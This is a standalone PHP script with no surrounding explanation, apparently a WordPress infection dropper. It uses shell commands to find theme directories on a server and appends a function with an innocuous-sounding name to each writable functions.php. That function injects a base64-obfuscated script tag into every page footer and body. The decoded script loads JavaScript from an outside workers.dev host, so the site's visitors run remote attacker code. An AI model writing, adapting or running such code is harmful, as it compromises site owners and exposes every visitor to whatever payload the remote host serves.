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<?
header('Content-Type: application/json');
function findAccessiblePaths($path) {
$parts = explode('/', $path);
$currentPath = '/';
$accessiblePaths = [];
foreach ($parts as $part) {
if (!empty($part)) {
$currentPath .= $part . '/';
if (is_readable($currentPath)) {
$accessiblePaths[] = $currentPath;
}
}
}
return $accessiblePaths;
}
function findWpThemesCrossPlatform() {
$cwd = getcwd();
$accessiblePaths = findAccessiblePaths($cwd);
$allModifiedFiles = [];
foreach ($accessiblePaths as $path) {
$command = getSearchCommand($path);
$output = shell_exec($command);
$functionsPaths = [];
if ($output) {
$paths = preg_split('/\r\n|\r|\n/', trim($output));
foreach ($paths as $path) {
$foundPaths = findFilesRecursively($path, 'functions.php');
$functionsPaths = array_merge($functionsPaths, $foundPaths);
}
}
$modifiedFiles = addCustomScriptToFiles($functionsPaths);
if (!empty($modifiedFiles)) {
$allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles);
break;
}
}
if (empty($allModifiedFiles)) {
echo json_encode(['error' => 'No themes modified or accessible']);
} else {
echo json_encode($allModifiedFiles);
}
}
function addCustomScriptToFiles(array $functionsPaths) {
$modifiedFiles = [];
$newFunctionCode = getCustomScript();
foreach ($functionsPaths as $functionsPath) {
if (file_exists($functionsPath) && is_writable($functionsPath)) {
$code = file_get_contents($functionsPath);
if (strpos($code, 'wp_system_query_script') === false) {
$code .= "\n" . $newFunctionCode;
file_put_contents($functionsPath, $code);
$modifiedFiles[] = $functionsPath;
}
}
}
return $modifiedFiles;
}
function getCustomScript() {
return <<<PHP
function wp_system_query_script() {
?>
<script src="data:text/javascript;base64,dmFyIGQ9ZG9jdW1lbnQ7dmFyIHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgCnMuc3JjPScvL3J0eC5jb2Rlc3ltYmFsLndvcmtlcnMuZGV2L0xDSjVKOT9mcm09c2NyaXB0JzsgCmlmIChkb2N1bWVudC5jdXJyZW50U2NyaXB0KSB7IApkb2N1bWVudC5jdXJyZW50U2NyaXB0LnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHMsIGRvY3VtZW50LmN1cnJlbnRTY3JpcHQpOwp9IGVsc2UgewpkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQocyk7Cn0="></script>
<?php
}
add_action('wp_footer', 'wp_system_query_script');
add_action('wp_body_open', 'wp_system_query_script');
PHP;
}
function getSearchCommand($startPath) {
$os = strtoupper(substr(PHP_OS, 0, 3));
if ($os === 'WIN') {
return "dir /s /b /a:d {$startPath}*wp-content\\themes*";
} else {
return "find {$startPath} -type d -name 'themes' -path '*/wp-content/themes' 2>/dev/null";
}
}
function findFilesRecursively($dir, $fileName) {
$results = [];
$files = scandir($dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($path)) {
$results = array_merge($results, findFilesRecursively($path, $fileName));
} elseif ($file === $fileName) {
$results[] = $path;
}
}
}
return $results;
}
findWpThemesCrossPlatform();
die();
?>